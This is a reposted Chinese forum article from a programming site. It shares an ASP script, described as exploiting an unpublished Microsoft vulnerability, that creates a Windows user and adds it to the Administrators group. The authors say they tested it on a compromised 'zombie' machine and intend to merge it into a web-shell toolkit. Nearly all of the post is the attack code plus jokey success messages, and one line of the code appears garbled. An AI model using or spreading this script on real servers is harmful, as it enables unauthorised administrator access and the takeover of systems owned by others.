程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 編程語言 >> 網頁編程 >> ASP編程 >> 關於ASP編程 >> 添加超級用戶的.asp代碼[藍屏的原創,凱文改進,Ms未公布的漏洞]

添加超級用戶的.asp代碼[藍屏的原創,凱文改進,Ms未公布的漏洞]

編輯:關於ASP編程
添加超級用戶的.asp代碼[藍屏的原創,凱文改進,Ms未公布的漏洞]
作者:藍屏,凱文 文章來源:冰點極限
其實上個禮拜我和凱文就在我的肉雞上測試了,還有河馬史詩.結果是在user權限下成功添加Administrators組的用戶了(雖然我不敢相信我的眼睛).
上次凱文不發話,我不敢發布啊....現在在他的blog 上看到他發布了,就轉來了咯(比我上次測試時還改進了一點,加了個表單).這下大家有福咯```

反正代碼是對的,但是很少能成功,具體的看運氣了。。呵呵,下一步我想把他整合到海洋裡面去。嘿嘿。 
復制代碼 代碼如下:
<head>.network對象腳本權限提升漏洞利用工具</head> 
<form action="useradd.asp" method=post> 
用戶:<input name="username" type="text" value="kevin1986"><br> 
密碼:<input name="passwd" type="password"><br> 
<input type="submit" Value="添 加"> 
</form> 

<%@codepage=936 
on error resume next 
if request.servervariables("REMOTE_ADDR")<>"127.0.0.1" then 
response.write "iP !s n0T RiGHt" 
else 
if request("username")<>"" then 
username=request("username") 
passwd=request("passwd") 
Response.Expires=0 
Session.TimeOut=50 
Server.ScriptTimeout=3000 
set lp=Server.createObject("WSCRIPT.NETWORK") 
oz="WinNT://"&lp.ComputerName 
Set ob=GetObject(oz) 
Set oe=GetObject(oz&"/Administrators,group") 
Set od=ob.create("user",username) 
od.SetPassword passwd 
od.SetInfo 
oe.Add oz&"/"&username 
if err then 
response.write "哎~~今天你還是別買6+1了……省下2元錢買瓶可樂也好……" 
else 
if instr(server.createobject("Wscript.shell").exec("cmd.exe /c net user "&username.stdout.readall),"上次登錄")>0 then 
response.write "雖然沒有錯誤,但是好象也沒建立成功.你一定很郁悶吧" 
else 
Response.write "OMG!"&username&"帳號居然成了!這可是未知漏洞啊.5,000,000RMB是你的了" 
end if 
end if 
else 
response.write "請輸入輸入用戶名" 
end if 
end if 
%> 
  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved